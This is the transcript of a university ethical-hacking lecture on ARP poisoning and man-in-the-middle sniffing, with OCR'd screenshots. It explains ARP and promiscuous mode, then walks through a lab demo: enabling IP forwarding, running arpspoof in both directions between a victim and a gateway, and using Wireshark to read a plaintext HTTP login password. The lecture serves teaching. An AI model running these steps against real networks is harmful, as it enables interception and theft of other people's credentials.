### Ethical Hacking Prof. Indranil Sengupta Department of Computer Science and Engineering Indian Institute of Technology, Kharagpur

## Lecture - 25 MITM

Today's session we will discuss about man-in-the-middle attack using the concept of sniffing via ARP poisoning.

(Refer Slide Time: 00:25)



Address resolution protocol that means ARP is a stateless protocol used for resolving IP addresses to machine MAC addresses. All network device that need to communicate on the network broadcast ARP queries in the system to find out other machines MAC address. ARP poisoning is also sometimes known as ARP spoofing.

Now, the question is that how ARP works? When one machine needs to communicate with another it looks up its ARP table. If the MAC address is not found in the table, the ARP request is broadcasted over the network. All the machines on the network will compare this IP addresses to MAC addresses. If one of the machines in the network identifies this address, then it will respond to the ARP request with its IP and MAC address. The requesting computer will store the address pair in its ARP table and communication will take place.

Now, the question is that what is ARP spoofing? ARP packets can be forced to send data to the attacker's machine. ARP spoofing constructs a large number of forced ARP request and reply packet to overload the switch. The switch is set in forwarding mode and after the ARP table is flooded with spoofed ARP response the attackers can sniff all the network packets.

Attackers flood a target computer ARP catching with first entries which is also known as poisoning. ARP poisoning uses man-in-the-middle access to poison the network. So, the man-in-the-middle attack implies an active attack where the attacker creating a connection between the victim and send message between them in or may capture all the data packet from the victim. In this case, the victims think that they are communicating with each other, but in reality the malicious attacker controls the communication. A third person exists to control and monitor the traffic of communication between two parties that is client and server. Some protocol such as SSL, serve to prevent this type of attack by encrypting the data.

Now, we will show you a demo how to perform man-in-the-middle attack. So, now, for our scenario we will consider that this is our attacker machine with the IP address 10.35.1.198.



(Refer Slide Time: 04:23)

And, this is our victim with the IP address 10.35.1.199 and the default gateway 10.35.1.2.

#### (Refer Slide Time: 04:37)

| Applications * Places * 🖸 Terminal *            | Mon 03-22 •                                  | A 🔝 / 4 0 |
|---|--|-----------|
|   | root@kall: -                                 | 00        |
| e Edit View Search Terminal Help                |  |           |
| oot@kali:-# cat /proc/sys/net/ipv               | /ip_forward                                  |           |
|   |  |           |
| <pre>pot@kali:-# echo 1 &gt; /proc/sys/ne</pre> | /ipv4/ip_forward                             |           |
| oot@kali:~# cat /proc/sys/net/ipv               | /ip_forward                                  |           |
|   |  |           |
| <pre>pot@kali:-# arpspoof -t 10.35.1.1</pre>    | 9 10.35.1.2                                  |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| :c:29:2:26:86 0:c:29:a1:a9:2d 080               | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
| c:29:2:26:86 0:c:29:a1:a9:2d 080                | 42: arp reply 10.35.1.2 is-at 0:c:29:2:26:86 |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |
|   |  |           |

Now, from the attacker machine first we need to start port forward. To check the port forward is enabled or not, we need to check the  $ip_forward$  file and the location of  $ip_forward$  file is under /proc/net/ipv4 directories. So, to check that particular file  $ip_forward$  we use the command *cat. cat* is the command to see the content of a text file or to content of a file. *cat* then the location is /proc/net/ipv4, then the file name is  $ip_forward$ . So, it written as 0; that means, it is disabled. So, to enable it we need to write it as 1. So, by using the *echo* command we can write in a file.

So, our next command is *echo* then 1 then the location is /proc/net/ipv4 then the filename  $ip\_forward$ . Now, check the content of the file. Now, see it is become 1; that means, it enable port forward. Now, our next task is to perform the ARP poisoning. So, to perform the ARP poisoning we use the command *arpspoof*. *arpspoof* then -t specify the IP address of the target machine. So, now, our target machine IP addresses is 10.35.1.199. Then we need to provide the IP address of the default gateway that is 10.35.1.2. Now, for the reverse connection we also need to perform the same thing, but this time we interchange the target and the destination.

#### (Refer Slide Time: 07:47)

| Applications - Place  | s 🔹 🕢 Terminal 🕶     |              |       | fan 03:27 •       |                | # 1 / • | 0 | ٠ |
|-----------------------|----------------------|--------------|-------|-------------------|----------------|---------|---|---|
|                       |                      |              | 14    | ot@kali:=         |                | 0       | 0 | 0 |
| File Edit View Search | h Terminal Tabs Help |              |       |                   |                |         |   |   |
|                       | root@kall,~          |              | ж     |                   | root@kali: ~   | ×       | • |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arp | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arp | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arp | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arg | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
| 0:c:29:2:26:86        | c8:9c:1d:93:b:bf     | 0806 42: arr | reply | 10.35.1.199 is-at | 0:c:29:2:26:86 |         |   |   |
|                       |                      |              |       |                   |                |         |   |   |
|                       |                      |              |       |                   |                |         |   |   |

Open a new terminal and again use the command *arpspoof*. Now, this time target will be the default gateway that is 10.35.1.2, then the IP address of the victim machine 10.35.1.199. This way we forward the both way traffic which is coming from the default gateway to target machine and which is going to the default gateway from target machine. Now, we are able to place the attacker machine between the gateway and the target machine successfully.

Now, our aim is to capture the data packet which is sometimes known as sniffing technique. Sniffing is the process of monitoring and capturing all the packet passing through a given network using sniffing tool. It is a form of a tapping internet wire or maybe phone wire and get to know about the conversation or all the data. There is so much possibility that if a set of enterprise switch port is open, then one of their employee can sniff the whole traffic of the network. Anyone in the same physical location can plug into the network using Ethernet cable or connect wirelessly to that network and sniff the total traffic.

In other words, sniffing always allow you to see all sort of traffic both protected and unprotected. In the right condition and with the right protocol in place and attacking party may be able to gather information what can be used for further attack or to cause other issues for the network or system owner. One can sniff the sensitive information from the network via e-mail traffic, FTP password, web traffic, telnet password, router configuration, chat session, DNS traffic etc. A sniffer normally turns the NIC, that means, Network Interface Card of the system to the promiscuous mode so that it listen to all the data transmitted on it segment.

Promiscuous mode refers to the unique way of Ethernet hardware in particular network interface card that allows an NIC all to receive all traffic on the network even if it is not address to this NIC. By default NIC ignore all the traffic that is not addressed to it which is done by comparing the destination addresses of the Ethernet packet with the hardware address that is the MAC address of the device while this make perfect sense for networking. Non-promiscuous mode makes it difficult to use network monitoring and analysis software for diagnosing connectivity issue or traffic accounting.

A sniffer can continuously monitor all the traffic to a computer through the NIC by decoding the information encapsulated in the data packet. There are two types of sniffing are there; one is active and another one is passive. In passive sniffing the traffic is locked, but it is not altered in any way. Passive sniffing allows listening only. It works with hub device. On a hub device the traffic is sent to all the ports in a network that uses hub to connect systems. All host on the network can see the traffic. Therefore, it can easily captured traffic going through.

The good news is that now hubs are almost absolute nowadays. Most modern network use switches. So, passive sniffing is no more effective. So, now, it is all about active sniffing. In active sniffing the network traffic is not only locked and monitor, but it may also be altered in some way as determined by the attack. Active sniffing is used to sniff a switch based network. It involves injecting address resolution packet that is ARP packet into a target network to flood on the switch Content Addressable Memory table that is CAM table. CAM keeps track of which host is connected to which port.

Now, by active sniffing technique, now for active sniffing technique MAC flooding, DHCP attacks, DNS poisoning, spoofing attack, ARP poisoning are there.

# (Refer Slide Time: 13:51)



Now, we are demonstrated ARP poisoning. Now, we are in the middle of the ARP poisoning. Now, our aim is to open a sniffing tool. The best sniffing tool I ever used that is *wireshark*; now to open the tool *wireshark* to capture all the data packet.

Applications Pares Terminal Mundbi23\* Af I verified - root@kalt-File Edit Wew Search Terminal Table Help root@kalti - X root@kalt- X root@kalt- X II root@kalti-# wireshark

(Refer Slide Time: 14:05)

(Refer Slide Time: 14:15)

| Applications • | Places * 🔲 Wireshark *   | Man 03:29 *   | A 1                      | 100.             |
|----------------|--|---|--------------------------|------------------|
|                |  | The Wireshark Network Analyzer                      |                          | 000              |
| Elle Edit Vie  | w Go Capture Analyze Statistics Telephon   | y Wireless Tools Help                               |                          |                  |
|                | + C + + P 3 X 1 0 0  | * 📜 🗏 q. q. q. 🗹                                    |                          |                  |
| Apply a displ  | ay filter _ <ctrl-p< td=""><td></td><td></td><td>• Expression +</td></ctrl-p<>   |   |                          | • Expression +   |
|                | Welcome to Wireshark   |   |                          |                  |
|                | Capture  |   |                          |                  |
|                | _using this filter:  | a.  | * All interfaces shown * |                  |
|                | eth0   | N.  |                          |                  |
|                | any<br>Lopback to<br>bluetooto0<br>rflog<br>efganor<br>submon3<br>submon3<br>submon3<br>@ Crico remote capture: ciscodump<br>@ Random packs generator: randpat<br>@ SSH remote capture: sobump<br>@ UDP Listener remote capture: sobump<br>@ UDP Listener remote capture: sobump | N<br>-<br>-<br>-<br>-<br>-<br>-<br>-<br>-<br>-<br>- |                          |                  |
|                | Learn  |   |                          |                  |
|                | User's Guide 🕕 Wiki 🕓 Questions and Ar   | nswers - Mailing Lists                              |                          |                  |
|                | You are running Wireshark 2.6.3 (Git v2.6.   | 3 packaged as 2.6.3-1).                             |                          |                  |
| 7 Ready to lo  | sad or capture   |   | No Packets               | Profile: Default |

Now, select the interface eth0.

(Refer Slide Time: 14:25)

|   | WV/resiliark *  |  | Mo                              | n03:29 • 📲 🕺 👖   | 100                      |
|---|---|--|---------------------------------|--|--------------------------|
|   |   |  | Capturi                         | ng from eth0   | 00                       |
| The Edit View Go Cap  | ture Analyze Statistics 1   | elephony Wireless Tools  | Help                            |  |                          |
| T   |   | 3 (4 4)  | 0.0                             | T  |                          |
|   | D M A T T   | • (• • • 🖬 🗎 •   | 144                             |  |                          |
| Apply a display filter < O  | 61-1×   |  |                                 | C + 1  | expression               |
| Time  | Source  | Destination  | Protocol I                      | ength Info   |                          |
| 331 27.555848971  | 10.05.1.90  | 255.255.255.255  | UDP                             | 139 7965 - 7965 Len=97   |                          |
| 332 27-573821625  | 10.35.1.72  | 10.35.1.255  | NBNS                            | 92 Name query NB NPI91ACBC<00>   |                          |
| 333 27.844659511  | Vmware_02:26:80   | Cisco_93:00:bf   | ARP                             | 42 10.35.1.199 is at 00:00:20:02:20:00 [duplicate use of 10.3  | 5.1.2 dete.              |
| 473 27 INCONSTRUCT  | 10 10 / 10 / 10 / 10 / 10 / 10 / 10 / 1   | 9,62(59)225  | 167                             | OD [TEP ANCEDEDESTON] MODEL - AND [UTN] DECEMBERSHICK NO.  | IN PERSONAL PROPERTY AND |
| 335 28.050259104  | 10.35.1.109   | 239.255.255.250  | SSDP                            | 178 M-SEARCH * HTTP/1.1  |                          |
| 337 28,079876508  | Vmate_02126186  | Vmwarn_alia9:20  | ARP                             | 42 10.35.1.2 1s at 00:00:29102:26:86   |                          |
| 338 28.053448296  | Gisco_n#:b5:f5  | COP/VTP/DTP/PAgP/UD.   | COP                             | 163 Device ID: bebehfailbidf Port ID: g122   |                          |
| 339.28.238352899  | f08911010f14d48:453   | ff02::112  | DHCPy6                          | 157 Solicit XID: 0x183a8c CID) 000190011f3442341866da147842  |                          |
| 349 28.437518113  | 10.35.1.109   | 229.255.255.250  | 650P                            | 210 M-SEARCH * HTTP/1-1  |                          |
| 341 28.510522355  | 10.35.1.198   | 139.59.15.185  | NTP                             | 00 NTP Version 4, client   |                          |
| 342 78.531775298  | 10.45 3 197   | 105.32.222.223   | TCP                             | 60 10807 - 3333 [SYN] Soure Witchards Lunes MSS-3468 WS-388 &  | KCK, PERMIT              |
|   |   |  |                                 | A MARY MARK TANK A LONG THE LONG AND A MARK THE AND |                          |
| 10.207704092731   | 7.Kaudoliniiliddiifd  | Banning freed for  | . BIP.                          |  | . weeks [                |
| Frame 1: 42 bytes o<br>Ethernet II, Src: V<br>Address Resolution 1  | ntere (336 bits), 42<br>maare_02:26:86 (00:0c:<br>Protocol (reply)                                | bytes captured (336 l<br>29:02:26:80), Dst: W                          | bits) on i<br>mware_al:a        | nterface 0<br>9:2d (00:00:29:s1:s9:2d)   |                          |
| Frame 1: 42 bytes of<br>Ethernet II, Src: V<br>Address Resolution I | n wire (336 bits), 42<br>mware_02:25:86 (00:0c:<br>Protocol (reply)                               | bytes captured (336 l<br>29:02:26:80), Dst: W                          | aita) on i<br>mare_al:a         | nterface 0<br>12d (00:0c:29:s11:09:2d)   |                          |
| Frame 1: 42 bytes o<br>Ethernet II, Src: W<br>Address Resolution N  | MERCONTROLLA<br>n wire (336 bits), 42<br>mware_02:26:86 (00:0c:<br>Protocol (reply)               | byinning free for<br>bytes captured (336 b<br>29:02:26:86), Dst: W     | bits) on i<br>mare_al:a         | sterface 0<br>:2d (00:0c:25:s1:s9:2d)  |                          |
| Frame 1: 42 bytes o<br>Ethernet II, Src: V<br>Address Resolution I  | Artockristic<br>h wire (336 bits), 42<br>mmre_82:26:86 (00:0c:<br>hrotocol (reply)                | bytes captured (336 b<br>bytes captured (336 b<br>29:02:26:86), Dst: V | bits) on i<br>mware_al:a        | sterface 0<br>:2d (00:0c:25:s1:s9:2d)  |                          |
| Frame 1: 42 bytes of<br>Ethernet II, Src: V<br>Address Resolution I | Accessed 66179<br>h wire (336 bits), 42<br>mware_82:28:86 (00:0c386 (00:0c387<br>Protocol (reply) | bying tree for<br>bytes captured (336 b<br>29:02:26:80), Dati V        | bits) on i<br>mware_al:a        | nterface 8<br>228 (00:00:29:41:80:26)  |                          |
| Frame 1: 42 bytes o<br>Ethernet II, Src: W<br>Address Resolution I  | Acteoration ()<br>h kire (336 bits), 42<br>mmare_02:26:86 (00:0c:<br>Protocol (reply)             | bying tree (07<br>bytes captured (336 b<br>29:02:26:00), Dst: V        | aits) on i<br>mare_al:a         | nterface 0<br>:23 (90:0c:29:41:09:2d)  |                          |
| Frame 1: 42 bytes of<br>Ethernet II, Src: W<br>Address Resolution I | (LECOL 84 66 70<br>h kire (336 bits), 42<br>mmare 82:26:86 (00:0c:<br>Protocol (reply)            | byamskog Kreet(for<br>bytes captured (336<br>29:02:26:00), Dst: Vi     | bits) on i<br>mmare_al:a        | sterface 0<br>120 (00:0c:29:s1:s9:20)  | 22 004                   |
| Frame 1: 42 bytes on<br>Ethernet II, Src: W<br>Address Resolution J | Cervo e 8:46 fg<br>n wire (236 bits), 42<br>mere 82:28:66 (00:0c: 0<br>Protocol (reply)           | Baselog Core (336 5<br>bytes captured (336 2<br>29:02:26:80), Dat: W   | bits) on i<br>mware_al:a<br>) & | nterface 0<br>:23 (90:0:129:41:09:2d)  |                          |

Now, my kali machine; that means, the attacker machine successfully placed between the default gateway and the attacker machine with the IP address 10.35.1.199. Now, I send some traffic from the victim machine and try to capture all that data packet from the attacker machine. Now, see this is my victim machine.

### (Refer Slide Time: 15:05)

| Appl                                 | ications · Places ·   | Wireshark *  |  | N  | lon 93:31 •  | AF 1 / 4 0 -                          |
|--------------------------------------|---|--|--|--|--|---------------------------------------|
| 1                                    |   |  |  |  | *eth0  | 000                                   |
| File                                 | Edit View Go Capl   | ture Analyze Statistics 1  | Telephony Wireless Tools   | Help   |  |                                       |
|                                      | - · · · · ·   | 020++  | 3 14 41 - 3  | 0.0  | 17   |                                       |
| η.                                   |   | N.W. Y. T.   |  | ( of of  | 12   |                                       |
| ht                                   | lp.   |  |  |  |  | B□□ + Expression.                     |
| 0.                                   | Time  | Source   | Destination  | Protocol                                       | Length Info  |                                       |
|                                      | 237 19.261537986  | fed0::3130:f733:55b.   | fe80::8d33:18cf:cn7.   | HTTP/X_  | 607 P051 /2d5518a3-e1bd-4029-9a87-70c255677  | Alle/ HTTP/1.1                        |
|                                      | 248 19.261565789  | fe80::8d33:10cf:ca7.   | fe80::313d:f733:55b.   | HTTP/X_  | 994 HTTP/1.1 200   |                                       |
|                                      | 673 65.454640194  | 10.35.1.109  | 172.16.2.30  | HTTP   | 875 POST http://aview.in/login.php HTTP/1.1  | (application/x-www-form-urle          |
|                                      | 757 67.246227096  | 172.10.2.30  | 10.35.1.199  | HTTP   | 812 HTTP/171 200 OK (text/html)  |                                       |
|                                      | 775 67.250182151  | 10.35,1.199  | 172.16.2.30  | HTTP   | 453 GET http://html5shim.googlecode.com/sve  | Vtrunk/html5.js HTTP/1.1              |
|                                      | 789 07.740836930  | 10.35.1.199  | 172.10.2.30  | NTTP   | 490 GET http://www.google-analytics.com/ga.  | js HTTP/1.1                           |
|                                      | 801 68.001095609  | 10.35.1.109  | 172.10.2.30  | HITP   | 686 GET http://aview.in/process-captcha.php  | 17_CAPTCHARL=0.13013000+1563106       |
|                                      | 805 68.040092084  | 172.10.2.30  | 10.35.1.199  | HITP   | 263 HTTP/1.1 304 Not Modified  | and a final state of the second state |
|                                      | 807 68.191011000  | 18.35.1.199  | 10 35 1 100  | HITE   | 941 GET NETD// A 200 OF (OTERDA)   | _ucm.git?ucmwy-u.r.caucus-iout        |
|                                      | 010 00.320022030  | 172.10.2.00  | 10.35.1.199  | HTTP:  | 100 HTTP/1.1 200 0K (017098)   |                                       |
|                                      | 1497 88 671767852   | 1/2.10.2.00<br>Fall: 19194 - #739-555  | 10.33.1.175<br>fe88::8433:18cfica7   | WTTD/9   | 1100 H11P/1.1 200 0K (FM0)<br>207 DOLT /24551853.ethd.4028.0507.70/255521                        | and ATTR/1 1                          |
|                                      | 1430 80.978305865   | fe80::8d33:10cf:ca7  | fe80::313d:f733:55b.   | HTTP/X   | 954 HTTP/1.1 200   | ader Hilfrana                         |
| Fri<br>Eti<br>Tri<br>(2<br>My)<br>eX | ame 237: 807 bytes<br>hernet II, Src: Vm<br>ternet Protocol Vm<br>ansmission Control<br>Reassembled TCP :<br>pertext Transfer P<br>tensible Markup La | ion wire (6436 bits)<br>mare_si:a9:2d (00:0c:<br>rrsion 6, Src: fe80:3<br>Protocol, Src Port:<br>legments (967 bytes):<br>Yrotocol<br>mguage | .007 bytes captured<br>29:a1:a9:2d), Dot: De<br>13:d:r73:5503:0812, 0<br>52517, Dat.Port: 535<br>#236(234), #237(733)) | 6456 bit<br>11_1a:2d<br>1st: fe80<br>1, Seq: 2 | 3) on interface 0<br>57 (81:60:40:41:12:02:57)<br>1:8033:180=fc:a7c:1999<br>39, Ack: 1, Len: 733 |                                       |
| Fram                                 | ne (807 bytes) Reass  | embled TCP (967 bytes)   |  |  | Reduct 1911 Disclored 13   | m Sila Deoffer Def                    |

And, from the victim machine I try to login into a web application *aview.in.* Now, in the login credential I put some login credential like username admin and I am giving some password and try to sign in. Now, I am trying to capture all these data packets which is sent from the victim machine, from my attacker machine and go to the tool *wireshark* and filter those that data packet which have sent through http protocol.

Now, see, these are the data packet which have sent through http protocol. These way we can also filter the data packet. Now, see here is the data packet which sent to *aview.in* login page. Now, try to open the details of this data packet, right click on this data stream and follow TCP stream for the detail data.

# (Refer Slide Time: 16:45)



Now, see, wow great, here is the username and password as I give in nptel1234. This way by ARP poisoning and via sniffing technique we can perform man-in-the-middle attack and can capture all the data packet which is coming to the victim machine and which is going from the victim machine.